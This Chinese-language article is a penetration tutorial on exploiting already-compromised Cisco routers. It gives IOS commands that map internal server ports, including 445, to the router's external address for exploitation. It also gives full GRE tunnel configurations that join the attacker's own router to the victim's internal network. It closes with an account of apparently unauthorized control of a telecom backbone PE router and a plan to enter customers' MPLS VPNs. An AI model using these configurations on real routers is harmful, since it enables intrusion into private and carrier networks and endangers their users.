导语:本文将结合作者之前的测试案例,介绍两种cisco路由器在渗透过程中的利用方法,以及一次在获得某电信网络骨干路由器权限后的思考。
相信很多朋友在做渗透测试的过程中,经常会遇到一些路由器等网络设备,那么,在我们获得路由器的最高操作权限,具有修改路由器配置的情况下,可以进行哪些操作呢,本文将结合作者之前的测试案例,介绍两种cisco路由器在渗透过程中的利用方法,以及一次在获得某电信网络骨干路由器权限后的思考。
一、端口映射,各个击破
路由器端口映射就是在路由器开放一个端口,并将该端口映射到相应的主机端口。当外网有数据访问路由器开放的端口时,路由器直接将来该端口的所有数据转发到相应的主机端口。
通过互联网获得的路由器设备,最常见的网络拓扑如下图:
路由器内网连接着多个服务器,但是无法从外网访问,这时如果我们知道它们所开放的服务,就可以通过路由器端口映射的方法,将内网的服务端口映射到路由器的外网地址,从而实现对内网服务的访问,配置代码如下:
route>en Password: route#conf t route(config)#ip nat inside source static tcp 192.168.1.13 80 23.23.23.23 8081 route(config)#exit route#wr
上述配置是将内网192.168.1.13服务器的80端口,映射到外网23.23.23.23的8081端口上,如果要删除这条配置,代码如下:
route(config)#no ip nat inside source static tcp 192.168.1.13 80 23.23.23.23 8081
tips:
1、由于对路由器配置进行修改,操作完毕后要及时删除添加的配置;
2、映射到外网端口时,要考虑防火墙的问题,选择允许访问的端口;
3、利用这种方法可以将内网主机的445等常见漏洞端口映射出来,进行溢出测试,由于是内网,服务器系统相对老旧,补丁也不全,说不定会有意外惊喜。
二、隧道搭建,直搞黄龙
GRE(Generic routing encapsulation)通用路由封装是一种隧道协议,能够在IP隧道中封装各种网络层协议的分组,从而创建虚拟点到点链路。利用GRE协议搭建隧道,实现将本地主机加入到目标路由器所在的内网的功能,可以忽略网络的连接,随意进行内网测试,只不过此时本地也需要一台支持GRE协议的路由器。
(对GRE协议以及GRE数据包格式不了解的同学可以自行学习)
此时的网络结构大致如下:
目标路由器连接着一个内网,地址段为192.168.1.0/24,而此时,通过对目标路由器B和本地路由器A进行GRE的配置,就可实现本地主机(192.168.1.211)加入目标网络,成为网络中的一个节点,就像访问本地局域网一样。
目标路由器_B的配置:
interface Ethernet0/1 #内网接口 ip address 192.168.1.1 255.255.255.0 interface Serial0/0 #外网接口 ip address 13.13.13.13 255.255.255.0 #外网地址 interface Tunnel0 #隧道名称 ip address 1.1.1.1 255.255.255.0 #隧道地址,此地址可以随意填写 tunnel source Serial0/0 #隧道源地址,即外网接口地址 tunnel destination 12.12.12.12 #隧道目的地址,即对端路由器外网接口地址 ip route 192.168.1.211 255.255.255.255 Tunnel0 #路由信息,通过Tunnel0接口访问本地主机
本地路由器_A的配置:
interface Ethernet0/1 #内网接口 ip address 192.168.1.1 255.255.255.0 interface Serial0/0 #外网接口 ip address 12.12.12.12 255.255.255.0 #外网地址 interface Tunnel1 #隧道名称 ip address 2.2.2.2 255.255.255.0 #隧道地址,此地址可以随意填写 tunnel source Serial0/0 #隧道源地址,即外网接口地址 tunnel destination 13.13.13.13 #隧道目的地址,即对端路由器外网接口地址 ip route 0.0.0.0 0.0.0.0 Tunnel1 #路由信息,本地主机的所有数据都从Tunnel0接口发出
两个路由器经过上述配置后,本地主机与目标路由器内网就处在一个网络中,方便下一步的渗透测试。
tips:
1、通过目标路由器配置GRE隧道,必须要求本地具有一台支持GRE协议的路由器;
2、GRE隧道是点对点连接,所以本地路由器必须有一个独立的外网地址;
3、上述GRE隧道不加密,为明文传输,具有一定风险;
4、要确保本地主机的IP地址与目标路由器内网的主机IP不冲突。
三、对某电信网络骨干路由器利用的思考
曾经,一个偶然的机会,获得了某电信网络骨干路由器的控制权,也就是传说中的MPLS VPN网络中的PE路由器(边界路由器) , 通过show run配置,发现其上配置了大量的VPN网络,每个VPN网络就是一个Tunnel接口,相同用户VPN网络使用同一个VRF号,通过每个Tunnel接口以及VRF号的描述信息,很容易知道每个Tunnel和VRF对应的用户信息。
由于使用的是GRE协议配置的VPN网络,所以就设想,利用上述搭隧道的方法,本地路由器充当一台CE,应该可以实现将本地的主机加入任意VPN网络,只需要在本地路由器配置Tunnel接口时,使用相同的VRF号。
上述想法虽然未经测试,但本人觉得这个思路应该能够实现。
注:本文代码与思路完全公开,请仅作学习交流使用,不要对号入座,其余用途与本文作者无关。